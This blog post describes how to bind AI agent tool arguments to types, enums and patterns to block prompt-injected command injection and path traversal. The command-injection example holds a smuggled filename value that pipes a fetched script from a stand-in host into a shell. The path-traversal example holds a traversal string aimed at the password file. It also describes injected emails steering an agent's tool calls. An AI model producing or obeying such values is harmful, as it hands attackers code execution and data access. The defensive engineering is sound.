Security

Parameterized Tools: Binding Agent Arguments to Types and Enums

Antonio Evans7 min read

A clean engineering diagram on a white background: on the left, a speech bubble converting into a JSON object with fields name, path, mode; a vertical dashed line labeled validate; on the right.
Key points

Key points

  1. 1A parameterized tool declares each argument with a type, an enum where values are finite, a pattern for identifiers, and a length or range bound, so the model never hands your function a free-form string.
  2. 2A validator checks the model's JSON against the derived schema before any code runs, and it rejects undeclared keys instead of silently ignoring them.
  3. 3Injection through a string field collapses once the field can only hold a member of a closed set or must match a pattern no shell metacharacter satisfies.
  4. 4Structured validation errors that name the field and the allowed values let the model repair its own call instead of looping or crashing.

Why string arguments are the real attack surface

An agent tool call is JSON the model wrote. When that JSON contains a field like command, query, or path typed as an open string, your function receives attacker-influenced text, because the model cannot reliably separate instructions from data. OWASP documents this directly: LLMs process natural language instructions and external data together without a clear separation, so a malicious page, email, or document can steer the tool call the OWASP prompt injection overview. The same cheat sheet notes that the top impact includes unauthorized actions via connected tools and APIs the OWASP prevention cheat sheet.

The practical consequence is a decision rule you can apply today: any string argument that reaches a shell, a SQL engine, a URL, or a filesystem is a liability unless it is constrained. Microsoft's guidance on indirect prompt injection states that traditional input validation is insufficient precisely because the model cannot tell user input from external content, which is why it recommends defense in depth with deterministic layers the Microsoft guidance. Parameterized tool schemas are one of those deterministic layers, and unlike prompt-level defenses they do not depend on the model's cooperation.

Simon Willison's lethal trifecta framing gives you the triage question: an agent with private data access, exposure to untrusted content, and an external communication path can be tricked into exfiltration the lethal trifecta. If your tool sits at that intersection, string fields are the shortest route from untrusted content to action, and typing them is the cheapest control you can deploy.

Derive the schema from declared types, not from prose

The core method is to stop describing arguments in a natural language docstring and start declaring them in code, then generate the JSON Schema the model sees from that declaration. JSON Schema defines allowed types, required fields, value constraints, and nested shapes, which is why it works as a contract between the model and your function the structured outputs guide.

A minimal Python declaration looks like this:

from enum import Enum
from pydantic import BaseModel, Field

class Mode(str, Enum):
    read = "read"
    write = "write"
    list = "list"

class FileRequest(BaseModel):
    mode: Mode
    path: str = Field(pattern=r"^[a-z0-9_\-/]{1,120}$")
    max_bytes: int = Field(ge=1, le=1_000_000)

Three decisions are doing the security work here. mode is an enum, so the only values the validator accepts are read, write, and list. path carries a pattern that permits lowercase letters, digits, underscore, hyphen, and slash, and nothing else, so no space, semicolon, pipe, backtick, or dollar sign can pass. max_bytes has an explicit range, so the model cannot request a terabyte read. Set Bash(model_config={"extra": "forbid"}) or the equivalent in your framework so an injected "command" key is rejected outright rather than dropped quietly.

One caveat worth knowing before you rely on provider-side schema enforcement: strict structured output narrows the interface but does not prove domain correctness, and provider support for schema keywords varies, so application-side validation still belongs in the path the TrueFoundry analysis. Treat the model-facing schema as a first filter and your validator as the authority.

Worked example: blocking command injection

Consider a naive tool that lets an agent inspect a log file by running a shell command:

import subprocess
def tail_log(filename: str) -> str:
    return subprocess.check_output(f"tail -n 50 {filename}", shell=True)

The schema for this tool is one string with no constraints. A model that has read an untrusted email containing instructions can emit filename = "app.log; curl https://example.org/x | sh", and shell=True executes the whole thing. The OWASP overview lists exactly this escalation path, from injected instructions through an insecure backend function to command execution the OWASP prompt injection overview. Note that a denylist would not reliably save you: a study of 1,709 real-world command denylists found that 69.0 to 98.6 percent were fragile, meaning bypass commands existed that the list failed to block the denylist fragility study.

The parameterized version removes the shell entirely and constrains the argument:

class LogRequest(BaseModel):
    model_config = {"extra": "forbid"}
    filename: str = Field(pattern=r"^[a-z0-9_\-]{1,64}\.log$")
    lines: int = Field(ge=1, le=500)

def tail_log(req: LogRequest) -> str:
    base = Path("/var/log/app").resolve()
    target = (base / req.filename).resolve()
    if base not in target.parents:
        raise ValueError("path escapes base directory")
    return "".join(target.read_text().splitlines(keepends=True)[-req.lines:])

The pattern admits app.log and rejects app.log; curl ... because the semicolon and space are outside the character class. The subprocess call is gone, so there is no shell to interpret metacharacters even if a future edit loosens the pattern. The resolve() check is a second, independent defense. If you want to push the boundary further, the design-patterns work on securing LLM agents argues for constraining agent action space so arbitrary tasks become inexpressible, which is exactly what a closed enum plus a tight pattern achieves the design patterns paper.

Worked example: blocking path traversal

Path traversal is the same failure with different punctuation. A tool that accepts path: str and opens it directly lets a model emit ../../etc/passwd or an absolute path, whether through a crafted request or an injected instruction in a file it just read. The small-business and enterprise writeups on the trifecta keep landing on the same point: agents execute with their full privileges, so one bad argument inherits everything the agent can reach the Oso analysis.

The decision rule for file arguments is to accept an identifier, not a path. Declare a document ID with a pattern, then map it to a path in code that the model never influences:

class DocRequest(BaseModel):
    model_config = {"extra": "forbid"}
    doc_id: str = Field(pattern=r"^doc_[0-9a-f]{8}$")
    section: int = Field(ge=0, le=40)

DOC_ROOT = Path("/srv/docs").resolve()

def read_doc(req: DocRequest) -> str:
    target = (DOC_ROOT / f"{req.doc_id}.md").resolve()
    if not str(target).startswith(str(DOC_ROOT) + "/"):
        raise ValueError("resolved outside document root")
    return target.read_text()

Compare the two designs in one table:

Argument styleModel input acceptedWhat the shell or filesystem seesFailure mode
Free string, interpolatedAny text, any lengthAttacker-controlled command or path fragmentCommand injection, traversal
EnumOne of three fixed verbsA constant from your codeNone from this field
Patterned identifierdoc_a1b2c3d4 onlyA filename you constructedRejected call, model repairs
Bounded integer0 to 40An index valueRejected call if out of range

The insight the first search result usually misses: patterns and enums are not just validation, they are an authorization decision expressed as syntax. If a value cannot be expressed, it cannot be requested, and the argument stops being a communication channel from untrusted content to your infrastructure.

Reject undeclared keys and return errors the model can repair

Two implementation details separate a working gate from a flaky one.

First, reject unknown keys. If the schema allows additional properties, an injected instruction can smuggle a parameter your function later reads through **kwargs. Set the schema to forbid extra properties and fail closed. A schema that validates shape does not validate truth, and a validator that ignores what it does not recognize is not validating at all the TrueFoundry analysis.

Second, return structured errors. When validation fails, send back a JSON object naming the field, the offending value, and the allowed set, for example {"error": "invalid_value", "field": "mode", "allowed": ["read","write","list"]}. Tool argument rot, the pattern of wrong types, missing fields, and silent coercions that causes many agent failures, is largely repairable if the model is told precisely what was wrong the schema gate writeup. Keep the repair budget small, two attempts, then escalate to a human or fail the turn. Never fall back to "just run it as a string."

A checkpoint list to run against every tool you expose:

CheckPass condition
Every argument has a typeNo Any, no untyped dict
Finite sets are enumsMode, action, format, region
Identifiers have patternsAnchored, bounded length
Numbers have rangesMin and max on counts, sizes, offsets
Extra keys forbiddenSchema sets additional properties to false
Errors are structuredField name and allowed values returned
Shell not usedNo shell=True, no string-formatted SQL

On the last row: bind SQL parameters rather than interpolating values, and the same principle applies to URLs, where you should build from an allowlisted host plus a typed path segment. The data layer equivalent, row-level security enforced at query time rather than in the app tier, exists for the same reason: deterministic enforcement survives a confused model the Snowflake RLS overview.

Put the schema gate behind a hardened perimeter

Typing arguments reduces blast radius but does not replace the other layers. Microsoft's guidance recommends combining deterministic and probabilistic defenses, treating the model as untrusted, and applying least privilege with short-lived credentials so a compromised agent has little to exercise the Microsoft guidance. The Frontier Model Forum's issue brief on agent security makes the same architectural point: tool authorization and delegation boundaries contain or amplify vulnerabilities, so they deserve deliberate design rather than defaults the Frontier Model Forum brief. Okta's least-privilege writeup adds the operational detail that agents often keep broad development credentials that are never narrowed once a workload stabilizes, which is how a typed tool call can still reach a system it should never touch the Okta guide.

The order of operations matters. Validate the arguments, authorize the action against the caller's actual permissions, execute with the narrowest credential that works, and log the full call for audit. Typed schemas make step one cheap and step four readable, because every logged call has the same shape.

If your team is designing the tool boundary across several lines of business and wants a second opinion on where to draw it, a short working session is often faster than a review cycle. Quanta Intelligence offers a free 30-minute discovery call to map goals and recommend an approach, with no obligation (https://quantaintelligence.ai/calendar). Teams standardizing many tools and models behind one interface often pair that with a shared inference layer, since one API key for text, image, and embedding models keeps the perimeter consistent as tools multiply: Quanta Inference (https://quantaintelligence.ai/inference).

FAQ

FAQ

Does a JSON Schema stop prompt injection by itself?

No. A schema constrains the shape of a tool call, not the intent behind it, and a schema-valid value can still be wrong or malicious in domain terms. What it does is remove the free-form string that injection needs to carry a payload into a shell, query, or path. Layer it with least privilege, authorization, and human approval for consequential actions, as Microsoft and OWASP both recommend.

What should I do when the model keeps producing values outside the enum?

Return the structured error with the allowed values and let the model retry once or twice, then fail the turn. Repeated out-of-enum values usually mean the tool description is ambiguous, not that the validator is too strict. Audit the description text, since tool descriptions themselves can carry injected instructions in compromised tooling ecosystems.

Are denylists a reasonable substitute for parameterization?

No, and the numbers show why. A large study of real command denylists found 69.0 to 98.6 percent of them fragile, meaning bypass commands existed that they failed to block. A denylist tries to enumerate bad strings in an open world of shell functionality. An enum or pattern enumerates good values in a closed set, which is a smaller and more tractable problem.

How do I handle a tool that genuinely needs a free-form string, like a search query?

Constrain everything around it. Bound the length, strip or reject control characters, and treat the value as data by passing it to an API that does not interpret it as code, such as a search endpoint that binds its own parameters. Never concatenate a search query into SQL or a shell command. If the query produces a URL, build the URL from an allowlisted host and encode the query as a parameter.

Where does validation belong relative to the model call?

Between the model's tool call and your function body, every time, including retries and cached paths. Provider-side strict schema modes narrow the output but do not prove domain correctness, and keyword support varies, so your own validator is the authority. Log both the raw call and the validation result, so a rejected call is visible in audit rather than invisible.

Sources

Sources

  1. LLM01: Prompt Injection - OWASP Gen AI Security Project
  2. LLM Prompt Injection Prevention - OWASP Cheat Sheet Series
  3. Defend against indirect prompt injection attacks | Microsoft Learn
  4. The lethal trifecta for AI agents: private data, untrusted content, and ...
  5. The guide to structured outputs and function calling with ...
  6. LLM Structured Outputs with JSON Schema
  7. Characterizing Denylist Fragility in AI Agents
  8. Design Patterns for Securing LLM Agents against Prompt Injections
  9. Understanding the Lethal Trifecta of AI Agents - Oso Security
  10. Stop Blaming the LLM: JSON Schema Is the Cheapest Fix ...
  11. What Is Row-Level Security (RLS)? Benefits and Use Cases
  12. Emerging Security Practices for AI Agents - Frontier Model Forum
  13. How to implement least privilege for AI agents
About the author

About the author

Antonio Evans
Antonio Evans

Antonio Evans is the founder of Quanta Intelligence and a fractional CTO who builds HIPAA-ready AI systems for health and life-science companies. Before that he was technical co-founder of FriendsEAT for twenty years, CEO of Socialdraft, and a data engineer at IBM. Antonio lives with his dog Santino in Lisbon, Portugal.

All articles